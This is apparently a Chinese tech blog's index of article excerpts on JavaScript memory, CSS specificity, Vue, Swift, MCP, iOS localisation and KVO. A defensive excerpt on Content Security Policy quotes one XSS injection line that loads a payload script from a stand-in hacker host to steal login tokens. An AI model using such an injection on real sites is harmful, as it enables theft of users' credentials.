内存空间

var a = 20; var b = 'abc'; var c = true; var d = { m: 20 } 因为JavaScript具有自动垃圾回收机制,所以对于前端开发来说,内存空间并不是一个经常被提及的概念,很容易被大家忽视。特别是很多不是计算机专业的朋友在进入到前端之后,会对内存空间的认知比较模糊,甚至有些人干脆就是一无所知。 当然也包括我自己。在很长一段时间里认为内存空间的概念在JS的学习中并不是那么重要。可是后我当我回过头来重新整理JS基础时,发现由于对它们的模糊认知,导致了很多东西我都理解得并不明白。比如最基本的引用数据类型和引用传递到底是怎么回事儿?比如浅复制与深复制有什么不同?还有闭包,原型等等。 因此后来我才渐渐明白,想要对JS的理解更加深刻,就必须对内存空间有一个清晰的认知。 在学习内存空间之前,我们需要对三种数据结构有一个直观的认知。他们分别是堆(heap),栈(stack)与队列(queue)。 一、栈数据结构 与C/C++不同,JavaScript中并没有严格意义上区分栈内存与堆内存。因此我们可以简单粗暴的理解为JavaScript的所有数据都保存在堆内存中。但是在某些场景,我们仍然需要基于堆栈数据结构的思维来实现一些功能,比如JavaScript的执行上下文(关于执行上下文我会在下一篇文章中总结)。执行上下文的执行顺序借用了栈数据结构的存取方式。(也就是后面我们会经常提到的函数调用栈)。因此理解栈数据结构的原理与特点十分重要。 要简单理解栈的存取方式,我们可以通过类比乒乓球盒子来分析。如下图左侧。 这种乒乓球的存放方式与栈中存取数据的方式如出一辙。处于盒子中最顶层的乒乓球5,它一定是最后被放进去,但可以最先被使用。而我们想要使用底层的乒乓球1,就必须将上面的4个乒乓球取出来,让乒乓球1处于盒子顶层。这就是栈空间先进后出,后进先出的特点。图中已经详细的表明了栈空间的存储原理。 二、堆数据结构 堆数据结构是一种树状结构。它的存取数据的方式,则与书架与书非常相似。 书虽然也整齐的存放在书架上,但是我们只要知道书的名字,我们就可以很方便的取出我们想要的书,而不用像从乒乓球盒子里取乒乓一样,非得将上面的所有乒乓球拿出来才能取到中间的某一个乒乓球。好比在JSON格式的数据中,我们存储的key-value是可以无序的,因为顺序的不同并不影响我们的使用,我们只需要关心书的名字。 三、队列 在JavaScript中,理解队列数据结构的目的主要是为了清晰的明白事件循环(Event Loop)的机制到底是怎么回事。在后续的章节中我会详细分析事件循环机制。 队列是一种先进先出(FIFO)的数据结构。正如排队过安检一样,排在队伍前面的人一定是最先过检的人。用以下的图示可以清楚的理解队列的原理。 四、变量对象与基础数据类型 JavaScript的执行上下文生成之后,会创建一个叫做变量对象的特殊对象(具体会在下一篇文章与执行上下文一起总结),JavaScript的基础数据类型往往都会保存在变量对象中。 严格意义上来说,变量对象也是存放于堆内存中,但是由于变量对象的特殊职能,我们在理解时仍然需要将其于堆内存区分开来。 基础数据类型都是一些简单的数据段,JavaScript中有5中基础数据类型,分别是Undefined、Null、Boolean、Number、String。基础数据类型都是按值访问,因为我们可以直接操作保存在变量中的实际的值。 ES6中新加了一种基础数据类型Symbol,可以先不用考虑他 五、引用数据类型与堆内存 与其他语言不同,JS的引用数据类型,比如数组Array,它们值的大小是不固定的。引用数据类型的值是保存在堆内存中的对象。JavaScript不允许直接访问堆内存中的位置,因此我们不能直接操作对象的堆内存空间。在操作对象时,实际上是在操作对象的引用而不是实际的对象。因此,引用类型的值都是按引用访问的。这里的引用,我们可以理解为保存在变量对象中的一个地址,该地址与堆内存的实际值相关联。 为了更好的搞懂变量对象与堆内存,我们可以结合以下例子与图解进行理解。 var a1 = 0; // 变量对象 var a2 = 'this is string'; // 变量对象 var a3 = null; // 变量对象 var b = { m: 20 }; // 变量b存在于变量对象中,{m: 20} 作为对象存在于堆内存中 var c = [1, 2, 3]; // 变量c存在于变量对象中,[1, 2, 3] 作为对象存在于堆内存中 因此当我们要访问堆内存中的引用数据类型时,实际上我们首先是从变量对象中获取了该对象的地址引用(或者地址指针),然后再从堆内存中取得我们需要的数据。 理解了JS的内存空间,我们就可以借助内存空间的特性来验证一下引用类型的一些特点了。 在前端面试中我们常常会遇到这样一个类似的题目 // demo01.js var a = 20; var b = a; b = 30; // 这时a的值是多少? // demo02.js var m = { a: 10, b: 20 } var n = m; n.a = 15; // 这时m.a的值是多少 在变量对象中的数据发生复制行为时,系统会自动为新的变量分配一个新值。var b = a执行之后,a与b虽然值都等于20,但是他们其实已经是相互独立互不影响的值了。具体如图。所以我们修改了b的值以后,a的值并不会发生变化。 ...

November 6, 2024

HTML 元素分类

根据标签的功能和表现,HTML 标签主要分为以下几类: 1. 块级元素(Block-level Elements) 块级元素通常独占一行,并且可以包含其他块级元素或内联元素,能够扩展至父容器的全部宽度。 特点: 独占一行,默认情况下会在前后产生换行。 宽度默认是父元素的 100%。 可以设置 width、height、margin、padding 等布局属性。 常见的块级元素: <div>:无特定语义的容器,常用于布局。 <p>:段落标签。 <h1> 到 <h6>:标题标签,按重要性递减。 <ul>、<ol>、<li>:无序、有序列表及其项。 <header>、<footer>、<section>、<article>:HTML5 语义化标签,分别表示页头、页尾、内容区块等。 示例: <div> <h1>标题</h1> <p>这是一个段落。</p> </div> 2. 内联元素(Inline Elements) 内联元素与其他元素排列在同一行,且只占用其内容所需的宽度。它们不会独占一行,不能包含块级元素。 特点: 与相邻的内联元素排列在同一行。 仅占据自身内容的宽度,不会在前后产生换行。 不能设置 width、height(无效),但可以设置 padding 和 margin,只影响水平方向。 常见的内联元素: <span>:无特定语义的容器,常用于局部样式。 <a>:超链接。 <strong>:表示强调的文本,通常加粗显示。 <em>:表示强调的文本,通常斜体显示。 <img>:图像标签。 <input>:表单输入元素。 示例: <p>这是一个段落,<a href="#">点击这里</a> 了解更多。</p> 3. 内联块元素(Inline-block Elements) 内联块元素是同时具备内联元素和块级元素特性的元素。它们在布局上是内联的,但表现为块状元素,因此可以设置宽高。 特点: 与其他元素排列在同一行,但可设置宽度和高度。 不会自动换行。 常见的内联块元素: <img>:虽然图像显示在行内,但可以设置 width 和 height。 <button>:按钮。 <input type="text">:文本输入框。 CSS 设置为 display: inline-block 的元素。 示例: <span style="display: inline-block; width: 100px; height: 100px; background: red;"></span> 4. 自闭合元素(Self-closing Elements) 自闭合元素是没有闭合标签的元素,因为它们没有任何内容。这类标签通常用于插入内容或进行控制,而不包含其他内容。 ...

October 15, 2024

优先级

在前端面试中,经常会遇到CSS选择器的问题三连: 说一下CSS的选择器有哪些 优先级是怎样的 权重计算方式 今天就来给大家介绍选择器的优先级和权重计算方式。 优先级是什么?有什么用? 先提出一个问题:如果一个元素通过多种方式设置了字体大小,那么浏览器在最后渲染时会使用哪个属性值呢? 其实,浏览器会通过优先级来判断哪些属性值与一个元素最为相关,从而在该元素上应用这些属性值。优先级是基于不同种类选择器组成的匹配规则。 换种说法,优先级就是分配给指定的 CSS 声明的一个权重,它由 匹配的选择器 中的 每一种选择器类型的数值 决定。 总结一下: 权重决定了你css规则怎样被浏览器解析直到生效,css权重关系到你的css规则是怎样显示的。 当很多的样式被应用到某一个元素上时,权重决定哪种样式生效。 每个选择器都有自己的权重。你的每条css规则,都包含一个权重级别。 这个级别是由不同的选择器加权计算的,通过权重,不同的样式最终会作用到你的网页中 。 如果两个选择器同时作用到一个元素上,权重高者生效。 权重的计算规则 接着介绍权重的计算规则: 第一优先级:!important会覆盖页面内任何位置的元素样式 内联样式,如style="color: green",权值为1000 ID选择器,如#app,权值为0100 类、伪类、属性选择器,如.foo, :first-child, div[class="foo"],权值为0010 标签、伪元素选择器,如div::first-line,权值为0001 通配符、子类选择器、兄弟选择器,如*, >, +,权值为0000 继承的样式没有权值 权值计算公式: 权值 = 第一等级选择器 x 个数,第二等级选择器 x 个数,第三等级选择器 x 个数,第四等级选择器 x 个数 比如: 选择器 千位 百位 十位 个位 优先级 h1 0 0 0 1 0001 h1 + p::first-letter 0 0 0 3 0003 li > a[href*=“en-US”] > .inline-warning 0 0 2 2 0022 #identifier 0 1 0 0 0100 内联样式 1 0 0 0 1000 权重的比较规则 当两个权值进行比较的时候,是从高到低逐级将等级位上的权重值(如 权值 1,0,0,0 对应–> 第一等级权重值,第二等级权重值,第三等级权重值,第四等级权重值)来进行比较的,而不是简单的 1000个数 + 100个数 + 10个数 + 1个数 的总和来进行比较的,换句话说,低等级的选择器,个数再多也不会越等级超过高等级的选择器的优先级的。 ...

October 10, 2024

计算属性

前言 Vue 的计算属性(computed)是 Vue.js 中非常重要的一个概念。它允许你在 Vue 组件中定义一些计算逻辑,这些逻辑会依赖于 Vue 的响应式数据,并且具有缓存机制,只有在依赖数据发生改变时才会重新计算,从而提高了性能。 计算属性的主要作用包括: 数据转换 数据过滤 响应式依赖 缓存机制 简化模板 在本篇文章中,我们将详细探寻如何利用计算属性优化 Vue 组件的数据处理和渲染逻辑,深入了解 Vue 计算属性的精髓。 一. 认识计算属性 1. 什么是计算属性 Vue.js 中的计算属性(computed properties)是 Vue 实例中非常重要的一个特性。它们用于对 Vue 实例的数据进行动态计算,且具有缓存机制,只有在相关依赖发生改变时才会重新计算。这种特性使得计算属性非常适合用于处理模板中的逻辑。 2. 计算属性的定义 计算属性是在 Vue 实例的computed选项中定义的,可以是一个函数或具有get和set方法的对象。函数形式的计算属性会在调用时被执行,而对象形式的计算属性则可以提供自定义的get和set方法。 computed: { // 函数形式的计算属性 reversedMessage: function () { return this.message.split('').reverse().join(''); }, // 对象形式的计算属性 fullName: { get: function () { return this.firstName + ' ' + this.lastName; }, set: function (newValue) { var names = newValue.split(' '); this.firstName = names[0]; this.lastName = names[names.length - 1]; } } } 3. 计算属性的依赖 计算属性可以依赖于 Vue 实例的响应式数据。当依赖数据发生改变时,相关的计算属性会重新计算。 ...

October 4, 2024

Content Security Policy

跨域脚本攻击 XSS(Cross Site Scripting) 是最常见、危害最大的网页安全漏洞。 比如网站有个留言板功能,但后台未对用户输入进行过滤,攻击者可以在留言编辑框中输入 <script src="http://www.hacker.org/xss.payload.js"></script> xss.payload.js可以获取老浏览用户的信息,如登录token、用户的个人资料等。以前的防御手段主要是对用户输入进行过滤如:去除html标签,实体化,关键字过滤等等,这样一来,最终的结果就是后台的大多数代码都是在做字符串验证,非常的让人不舒服。 为了防止它们,要采取很多编程措施,非常麻烦。很多人提出,能不能根本上解决问题,浏览器自动禁止外部注入恶意脚本? 所以W3 org引入了CSP,它从另外一层面给浏览器提供了保护。这就是"网页安全政策"(Content Security Policy,缩写 CSP)的来历。本文详细介绍如何使用 CSP 防止 XSS 攻击。 一、简介 CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。严格规定页面中哪些资源允许有哪些资源,不在指定范围内的统统拒绝。它的实现和执行全部由浏览器完成,开发者只需提供配置。 CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。 两种方法可以启用 CSP。 一种是通过 HTTP 头信息的Content-Security-Policy的字段。 Content-Security-Policy: script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https: 另一种是通过网页的<meta>标签。 <meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:"> 上面代码中,CSP 做了如下配置。 脚本:只信任当前域名 <object>标签:不信任任何URL,即不加载任何资源 样式表:只信任cdn.example.org和third-party.org 框架(frame):必须使用HTTPS协议加载 其他资源:没有限制 启用后,不符合 CSP 的外部资源就会被阻止加载。 Chrome 的报错信息。 二、限制选项 CSP 提供了很多限制选项,涉及安全的各个方面。 2.1 资源加载限制 以下选项限制各类资源的加载。 script-src:外部脚本 style-src:样式表 img-src:图像 media-src:媒体文件(音频和视频) font-src:字体文件 object-src:插件(比如 Flash) child-src:框架 frame-ancestors:嵌入的外部资源(比如<frame>、<iframe>、<embed>和<applet>) connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等) worker-src:worker脚本 manifest-src:manifest 文件 2.2 default-src default-src用来设置上面各个选项的默认值。 ...

October 2, 2024

箭头函数

一、箭头函数的特点 1. 相比普通函数,箭头函数有更加简洁的语法。 普通函数 function add(num) { return num + 10 } 箭头函数 const add = num => num + 10; 2. 箭头函数不绑定this,会捕获其所在上下文的this,作为自己的this。 这句话需要注意的是,箭头函数的外层如果有普通函数,那么箭头函数的this就是这个外层的普通函数的this,箭头函数的外层如果没有普通函数,那么箭头函数的this就是全局变量。 下面这个例子是箭头函数的外层有普通函数。 let obj = { fn:function(){ console.log('我是普通函数',this === obj) // true return ()=>{ console.log('我是箭头函数',this === obj) // true } } } console.log(obj.fn()()) 下面这个例子是箭头函数的外层没有普通函数。 let obj = { fn:()=>{ console.log(this === window); } } console.log(obj.fn()) // true 3. 箭头函数是匿名函数,不能作为构造函数,不可以使用new命令,否则后抛出错误。 ...

October 2, 2024

Swift 面试:编译流程、Runtime 与元数据源码解析

Swift 面试:编译流程、Runtime 与元数据源码解析 Swift 面试里问编译流程和 Runtime,通常不是想听一串名词,而是想看你能不能把 源码 -> AST -> SIL -> 优化 -> IRGen -> LLVM -> Runtime Metadata 串起来。 这篇文章按面试题展开,把答案落到 Swift 编译器源码里的 SILGen、SILOptimizer、IRGen、Metadata、Value Witness Table、Protocol Witness Table 和 HeapObject。 面试高频问题 Swift 源码从 .swift 到机器码经历哪些阶段? AST、SIL、LLVM IR 分别负责什么? 为什么 Swift 需要 SIL,而不是直接生成 LLVM IR? SILGen 做什么?SILOptimizer 做什么? IRGen 为什么要生成 Metadata 和 Witness Table? Swift Runtime Metadata 保存了哪些信息? Value Witness Table 是什么? Protocol Witness Table 和 class vtable 有什么区别? class、struct、enum 在 Runtime 表示上有什么差异? HeapObject 和 Metadata 有什么关系? 30 秒回答版 Swift 编译流程可以简化为: ...

June 16, 2026

Function Calling与MCP

LLM很聪明,但它被困在一个"文本沙箱"里——它只能接收文本、输出文本。要让LLM调用API、查数据库、操作文件,就需要一个"桥梁"协议来连接LLM与外部世界。 Function Calling和**MCP(Model Context Protocol)**就是这样的桥梁。它们的目标相同——让LLM能调用外部工具——但设计理念和使用场景有很大不同。本文将详细对比这两种方案。 一、Function Calling:LLM原生的工具调用 1.1 基本原理 Function Calling是LLM提供商(OpenAI、Anthropic、Google等)在模型层面支持的工具调用能力。核心思路是: 你告诉LLM有哪些函数可用(函数名、参数定义、功能描述) LLM根据用户的问题判断是否需要调用函数 如果需要,LLM输出一个结构化的函数调用请求(而不是自然语言) 你的代码执行这个函数,把结果返回给LLM LLM基于结果生成最终回答 sequenceDiagram participant U as 用户 participant App as 应用程序 participant LLM as LLM API participant Tool as 外部工具/API U->>App: "北京今天天气怎么样?" App->>LLM: 用户消息 + 可用函数定义 LLM->>App: 函数调用请求get_weather(city="北京") App->>Tool: 调用天气API Tool->>App: {"temp": 22, "weather": "晴"} App->>LLM: 函数执行结果 LLM->>App: "北京今天天气晴朗,气温22°C" App->>U: 最终回答 关键点:LLM自身并不执行函数,它只是生成"我想调用这个函数"的结构化指令,真正的执行由应用程序完成。 1.2 函数定义 以OpenAI的格式为例,开发者需要用JSON Schema描述每个可用的函数: { "tools": [ { "type": "function", "function": { "name": "get_weather", "description": "获取指定城市的当前天气信息", "parameters": { "type": "object", "properties": { "city": { "type": "string", "description": "城市名称,如'北京'、'上海'" }, "unit": { "type": "string", "enum": ["celsius", "fahrenheit"], "description": "温度单位" } }, "required": ["city"] } } } ] } LLM通过阅读这个定义来理解:这个函数叫什么、干什么用、需要什么参数。description字段的质量直接影响LLM能否正确选择和调用函数。 ...

May 2, 2026

iOS国际化

前言 很多团队对"国际化"的理解停留在"把中文文案翻译成英文",等真正把 App 推向多区域时就会发现远远不够:阿拉伯语用户看到的界面左右颠倒了,用户在纽约和东京看到的"今天"不是同一天,欧洲的小数点变成了逗号,日本用户抱怨价格里的¥符号指向人民币而不是日元,印度用户发现自己的 ₹1,23,456.78 被错误地按千分位显示成 ₹123,456.78,复数规则在俄语里比英语复杂得多,而这些问题单靠"翻译"都解决不了。 国际化(Internationalization,简称 i18n,取首末字母与中间 18 个字符)是架构层面的能力建设,让 App 能够适配不同语言、地区、文字方向、日历、时区、货币、单位制与文化习俗;而本地化(Localization,l10n)是针对某个具体地区的"适配落地"。两者的关系是:“国际化一次,本地化 N 次”。 本文从 NSLocale/Locale 的基础模型开始,把 iOS 国际化的完整工程面梳理清楚——文案本地化、复数/性别规则、RTL 布局、多时区、多币种、单位与数字格式、图片资源、字体、App 内切换语言、测试方法,最后给出研发规范与排查清单。 一、基础概念:Locale、Language 与 Region 1.1 Locale 不等于 Language 大多数工程师第一次接触国际化时会把"语言"和"地区"混为一谈,这在 iOS 下会直接导致格式错误。 Language(语言):zh、en、ar、ja…决定 UI 文字内容。 Region(地区):CN、US、SA、JP…决定格式(日期、数字、货币、时间制 12/24h、起始星期、度量单位)。 Locale(语言+地区):两者合成一个完整的标识,如 zh_CN、en_US、ar_SA、en_IN。 一个美国人移居日本后,完全可能把 iPhone 语言设为英文,但地区设为日本。此时: 场景 期望 UI 文案 英文 日期格式 1月23日(月) 风格?No,应显示 January 23 (Mon),因为语言决定月/星期的名字 数字分隔符 , 作千分位(与日本/美国一致) 货币符号 ¥(JPY) 温度单位 ℃(日本) 首日周 周日(日本区域) 对应的 Locale 是 en_JP——看似奇怪,但在现实中非常普遍。代码里要区分"用哪个语言去查字符串"和"用哪个 Locale 去格式化数据": let preferredLanguage = Locale.preferredLanguages.first ?? "en" let currentLocale = Locale.current let formatter = DateFormatter() formatter.locale = currentLocale formatter.dateStyle = .long print(formatter.string(from: Date())) 不要传 Locale(identifier: "en") 去格式化数字,那会丢掉用户的区域偏好。 ...

May 2, 2026

KVO底层原理

基础概念 KVO(Key-Value Observing,键值观察)是 Apple 基于 KVC 实现的一种观察者模式,允许对象监听另一个对象特定属性的变化。当被观察对象的属性值发生改变时,观察者会收到通知。 // 注册观察 [person addObserver:self forKeyPath:@"name" options:NSKeyValueObservingOptionNew | NSKeyValueObservingOptionOld context:nil]; // 接收通知 - (void)observeValueForKeyPath:(NSString *)keyPath ofObject:(id)object change:(NSDictionary<NSKeyValueChangeKey, id> *)change context:(void *)context { if ([keyPath isEqualToString:@"name"]) { NSLog(@"name changed: %@ → %@", change[NSKeyValueChangeOldKey], change[NSKeyValueChangeNewKey]); } } // 移除观察 - (void)dealloc { [person removeObserver:self forKeyPath:@"name"]; } KVO 的底层实现原理:isa-swizzling KVO 的核心实现机制是 isa-swizzling(isa 指针替换)。当对象被添加观察者时,Runtime 会在运行时动态创建该对象所属类的一个子类,并将对象的 isa 指针指向这个新的子类。 完整流程 flowchart TD A["addObserver:forKeyPath:"] --> B["Runtime 动态创建子类NSKVONotifying_ClassName"] B --> C["重写被观察属性的 setter 方法"] B --> D["重写 class 方法返回原始类"] B --> E["重写 dealloc 方法"] B --> F["重写 _isKVOA 方法返回 YES"] C --> G["将对象的 isa 指向NSKVONotifying_ClassName"] G --> H["当属性值改变时"] H --> I["调用 willChangeValueForKey:"] I --> J["调用原始 setter 方法"] J --> K["调用 didChangeValueForKey:"] K --> L["通知所有观察者"] 第一步:动态创建子类 当首次对某个类的实例调用 addObserver:forKeyPath:options:context: 时,Runtime 会: ...

May 2, 2026